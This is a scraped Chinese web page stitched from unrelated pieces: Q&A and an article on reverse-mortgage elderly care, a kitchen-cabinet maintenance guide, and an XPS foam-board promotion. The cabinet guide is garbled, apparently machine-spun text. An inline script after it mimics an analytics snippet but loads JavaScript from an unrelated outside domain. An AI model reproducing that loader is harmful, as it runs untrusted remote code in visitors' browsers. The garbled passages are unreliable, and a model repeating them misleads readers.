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安淳雅

以房养老现状如何

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杀你无条件 有用 1

“老年人住房反向抵押养老保险”,简单说就是“以房养老”,老人把已经付清贷款的房子抵押给保险公司等金融机构,金融机构通过数据统计和精算,综合考虑房主的年龄、预期寿命、房产若干年后的价值等因素,定期发放给房主一定数额养老金,房主去世后,房产归金融机构所有。        北京市将推进“租房置换”。租房置换则是通过出租房屋获取租金,最终通过租金收入来入住养老院。“租房置换”是对“以房养老”形式的一种拓宽创新,既可以加强对房产资源的利用,还可以避免老人对丢失房产的担心。

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楼吉logo 有用 1

事实上,多年前已经有一些地方政府和金融机构开始尝试“以房养老”的模式。2003年,时任中国房地产开发集团理事长的孟晓苏将这一理念介绍到了中国。2007年他成立了幸福人寿保险公司并亲自参与这一“倒按揭”产品的研发,但至今仍没有实质性进展。

bespecialo... 有用 1

其实以房养老是一个很先进的概念,可以实现社会资源的合理配置。但是在我国当前,由于法律制度不完善,金融机构对放假下行的担忧,以及70年产权等因素的制约,以房养老在我国的发展并不顺利,当前还面临较多束缚

居大众装饰 有用 1

这是中国的传统,所以根深蒂固的思想是比较难改变的,也就是说以房养老的思想还是很深的,希望可以帮到您。

湘泽装饰 有用 1

中国老年群体是一个有房产但相对贫困的群体,相对他们相对低下的退休金。通过“以房养老”,既盘活了老人沉睡的不动产,也解决了老人养老资金难题。
真正符合条件的老年申请者很少,一是房产非老年人独立自有,二是子女有分歧意见,三是家产传后的传统观念最后占了上风。
2012年底我国60周岁以上老年人达1.94亿,2020年将达2.43亿,2025年将突破3亿。养老服务和产品供给不足、市场发育不健全、城乡区域发展不平衡等问题还十分突出。
“老年人住房反向抵押养老保险”,简单说就是“以房养老”,老人把已经付清贷款的房子抵押给保险公司等金融机构,金融机构通过数据统计和精算,综合考虑房主的年龄、预期寿命、房产若干年后的价值等因素,定期发放给房主一定数额养老金,房主去世后,房产归金融机构所有。
北京市将推进“租房置换”。租房置换则是通过出租房屋获取租金,最终通过租金收入来入住养老院。“租房置换”是对“以房养老”形式的一种拓宽创新,既可以加强对房产资源的利用,还可以避免老人对丢失房产的担心。
《关于加快发展养老服务业的若干意见》提出了要完善养老服务业的投融资政策。金融机构要拓宽信贷抵押担保物范围,积极支持养老服务业信贷需求,支持保险资金投资养老服务领域。通过完善投融资政策,将吸引更多民间资本参与养老服务。
正按揭风险随时间的推移不断减小,倒按揭是时间越长风险越大。确定“倒按揭”利率是个难题,贷款额少,老人不乐意;贷款期长,机构吃亏。机构担心房价会下跌,抵押物会缩水,担心土地使用权只有70年,到时候政府会把土地收回,担心产权不清晰,老人去世后,子女再纠缠。
养老金短缺,不能依靠“以房养老”来解决。
增加养老金很重要的是增加投资的问题,在美国是由不同的投资公司在政府允许下管理养老金,而我们不是,我们的个人账户全部在政府手里,政府把所有风险都揽在自己身上,你想要个人投资只能拿养老金之外的钱自己想办法,做家庭投资。
“以房养老”是解决了老年人养老资金的问题,但是有钱也未必能买到优质养老服务。

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专题 以房养老的优缺点!

以房养老的优缺点!

导语:以房养老属于当下比较火的一种新型的养老方式,老年人可以把自己名下的房产进行抵押,不仅自己可以享受住房还可以每个月获取到一定金额的退休金,在老人去世之后房产会被银行或者是保险公司收回,属于一种房产变现的养老方式。以房养老属于一种资源的新型配置方式,以房养老的优缺点都是什么呢?不妨来看看下文中的介绍。以房养老是可以在一定程度上弥补市场经济发展导致养老金不足的情况的,还可以提升社会养老的程度,对于住房也得到了合理化的利用,当然以房养老也是有很多弊端的,容易造成老人和孩子之间家庭观念的淡薄,在一定程度上还会激化原有的矛盾,而且并不能提供老年人一些养老费用的急需。由于以房养老的制度还不是很完善容易出现一些金融风险,目前的房子产权都是在70年的,在70年后房子如何处理也并没有相关的规定,这样让朋友们选择以房养老的时候有很多需要考虑的问题。先来说说以房养老的优点,以房养老可以让老年人在晚年的时候依然享受到家庭的温暖,而且并不会在老人依然在世的时候收回房子,可以说老人一生都是拥有房屋的居住权利的。以房养老还可以在一定程度上减少子女的压力,因为老年人每个月都可以得到一定的资金补偿,可以让每个月的养老金都处于足够用的状态,不用子女再补贴家用。再来说说以房养老的缺点,以房养老在很大程度上冲击了我国现有的养老模式,对于家庭关系之间的和谐可能会造成一定的影响,因为以前的房产是可以直接的留给子女的,推出了以房养老的政策,可能会有一部分子女无法得到父母留有的房产而决定内心不平衡,对于老年人的照料也无法很好的进行。关于以房养老的优缺点就先为朋友们介绍这么多了,其实以房养老的初衷是非常好的,但是在操作的过程中朋友们可能会感觉到阻碍还是非常大的,以房养老可以适用的范围并没有那么的广泛,经济条件很好的老人并不需要以房养老的方式,而经济条件不好的老人很可能因为选择了以房养老而疏远了与子女之间的情感。

厨房橱柜如何保养以及厨房橱柜如何挑选

厨房橱柜如何保养以及厨房橱柜如何挑选

家庭生活质量不是客厅或卧室环境,厨房环境也是决定生活质量的关键标准。良好的厨房环境宽敞,干净,特别需要注意的是在某些情况下,选择介绍厨房橱柜如何挑选。一、厨房橱柜如何保养1、厨房橱柜顶部,相对而言,任何一种材料都怕高温,所以避免直接接触灶台,锅,热水瓶等,避免尖锐物体。触摸桌子顶部和门板,以免划伤。同时,不锈钢台面可以用盐生锈,人造厨房橱柜可以防止水渍长时间停留在桌面上。2、维护厨房橱柜面也具有可比性。通常,当您打开或关闭门时,力太强,因此您应轻轻操作并小心地关闭门板,以防止其过度用力变形或掉落。通常,当您使用柜台顶部时,应及时擦拭柜台顶部的水,以使柜台顶部的水不会流到门板上。很长一段时间后,门板变形。如果门铰链和手柄松动且异常,我们必须进行调整或通知制造商维修。3、厨房橱柜,众所周知,内阁是一个轴承。除了在设计中选择承重板外,使用时还要小心。一般来说,吊柜的承载能力通常不是下一个橱柜,因此吊柜的重量应放在下柜中,适合装载轻质物品,如调味罐和眼镜。在放入厨房用具之前,应清洁并擦拭器具,使水滴留在硬件表面,以防止水泄漏或生锈。二、厨房橱柜如何挑选1、厨房橱柜均根据尺寸,布局和功能进行定制。优异的初始设计,以利用的便利基地未来的比保存,显示,食品,为了满足厨房每个物理性能如洗涤,结构和科学位置,并配置各设置空间的材料的量之间的工作空间的有选择,可玩性美观耐用,而另一个是满足的款式和颜色个性化条款,以配合您的厨房橱柜和整个家庭,足够使用,提供种类繁多的原因,一个聪明的地方。2、厨房橱柜总装配水平,如果机柜的底部构件之间的间隙中的线路质量柜可靠连接机柜意味着中间的水平面适合右侧门,侧门装置,用于垂直线性关闭门打开和关闭所述小中间对称门缝。橱柜台,平光强中间连接柜,墙面襟翼和紧密配合,大理石台面间隙接触。水槽和水槽很硬,没有间隙,很难排水。厨柜注意事项3,硬件组件3、厨房橱柜开口是一个抽屉推挽或蓝色,顺利紧紧参照闭合装置框架滑动装置和所确定的质量水平。易于打开的柜门,抽屉,无法获得柔和的声音和光线;压力带支撑翼板受到减小的门保持重量。这是一个小细节,但它也是橱柜质量的重要组成部分。4、厨房橱柜吊绳,悬挂码在外观上并不重要,但它们对机柜质量有重大影响。大型制造商在使用提升绳索时必须通过负载测试,50公斤以上的提升绳索可以满足厨房橱柜中的设备。带挂绳装置的吊柜稳定,不松动,不倾斜,柜体与墙体紧密接触。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

阻燃挤塑板有什么特点 挤塑板的应用现状如何

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随着现在社会的发展,很多材质逐渐出现在我们的生活中,丰富了我们的生活。现在很多朋友都是比较担心火灾的,所以现在很多的阻燃材质就出现了。接下来,我们为大家推荐一款质优价廉的产品,那就是阻燃挤塑板,对于阻燃挤塑板,其实你也是不熟悉的吧,接下来,跟着小编的介绍,我们一起来认识一下吧。那么,阻燃挤塑板有什么特点?阻燃挤塑板有什么特点1、优良的保温隔热性具有高热阻、低线性、膨胀比低的特点,其结构的闭孔率达到了99%以上,形成真空层,避免空气流动散热,确保其保温性能的持久和稳定,相对于发泡聚氨酯80%的闭孔率,领先优势不言而喻。实践证明20mm厚的XPS挤塑保温板,其保温效果相当于50mm厚发泡聚苯乙烯,120mm厚水泥珍珠岩。因此本材料是目前建筑保温的最佳之选。2、卓越的高强度抗压性由于XPS板的特殊结构,其抗压强度极高、抗冲击性极强,根据XPS的不同型号及厚度其抗压强度达到150~500Kpa以上,能承受各系统地面荷载,广泛应用于地热工程、高速公路、机场跑道、广场地面、大型冷库及车内装饰保温等领域。3、优质的憎水、防潮性吸水率是衡量保温材料的一个重要参数。保温材料吸水后保温性能随之下降,在低温情况下,吸入的水极易结冰,破坏了保温材料的结构,从而使板材的抗压及保温性能下降。由于聚苯乙烯分子结构本身不吸水,板材分子结构稳定,无间隙,解决了其它材料漏水、渗透、结霜、冷凝等问题。4、质地轻、使用方便XPS板的完全闭孔式发泡化学结构与其蜂窝状物理结构,使其具有轻质、高强度的特性,便于切割、运输,且不易破损、安装方便。5、稳定性、防腐性好长时间的使用中,不老化、不分解、不产生有害物质,其化学性能极其稳定,不会因吸水和腐蚀等导致降解,使其性能下降,在高温环境下仍能保持其优越的性能,根据有关资料介绍,XPS挤塑保温板即使使用30~40年,仍能保持优异的性能,且不会发生分解或霉变,没有有毒物质的挥发。挤塑板的应用现状如何1、去皮处理。普通挤塑板表皮为光面,其表皮与胶粘剂及抹面砂浆的可粘接性很差。一方面可使表面粗糙均匀有利粘贴,其与胶粘剂和抹面砂浆的拉伸黏结强度、耐水和耐冻融强度均在0.25MPa以上,大大提高了系统的黏结力,加大了可靠性。另一方面也通过去皮处理均匀释放了一定量的内部应力。2、国标情况。挤塑板的应用还没有一本国家的有关标准。由此多少应用方都借用膨胀聚苯板的技术标准。2009年6月,上海建科院和国家建筑标准设计院联合组织编制挤塑板抹灰外墙外保温系统的技术标准,同时由可耐福公司编制的国标08CJ16《挤塑板保温系统建筑构造》也于2009年8月在国家建筑标准设计院进行修编。行业内正在努力加强挤塑板的应用规范和标准,从而来保证挤塑板在外墙外保温中的合理使用。国标中规定去皮型挤塑板的尺寸稳定性≤2.0%,可耐福针对这一点做过一些研究,通过外墙外保温系统在一定面积范畴设置伸缩缝,即可有效地释放系统各层的变形。3、尺寸稳定性。行业里多认为挤塑板用于外墙外保温由于尺寸稳定性差,会因气候的影响而导致其尺寸变形,最终导致饰面层涂料开裂,不如EPS系统。实际上我们可以从系统中的三种材料的弹性模量来看,砂浆约为15500MPa,EPS约为4~6MPa,XPS约为7~9MPa。虽然EPS弹性模量比XPS略小,但与砂浆弹性模量相比,EPS与XPS挤塑板都属于同一数量级,材料相互之间的约束不会有本质的改变。也就不存在砂浆对EPS的约束比对XPS的约束效果更好的说法,而诸多的工程实例也证实此效果。通过上文的详细介绍,相信大家对于阻燃挤塑板都已经比较熟悉了,我们知道了阻燃挤塑板有很多的特点,有优良的保温隔热性,而且优质的憎水、防潮性,所以一直都是很多朋友喜欢使用的产品来的,在市场上也是有口皆碑,大家阅读文章后对于阻燃挤塑板有了很深刻的了解吧,我们建议读者朋友应该选购大品牌的阻燃挤塑板,希望我的介绍可以帮助到读者朋友。

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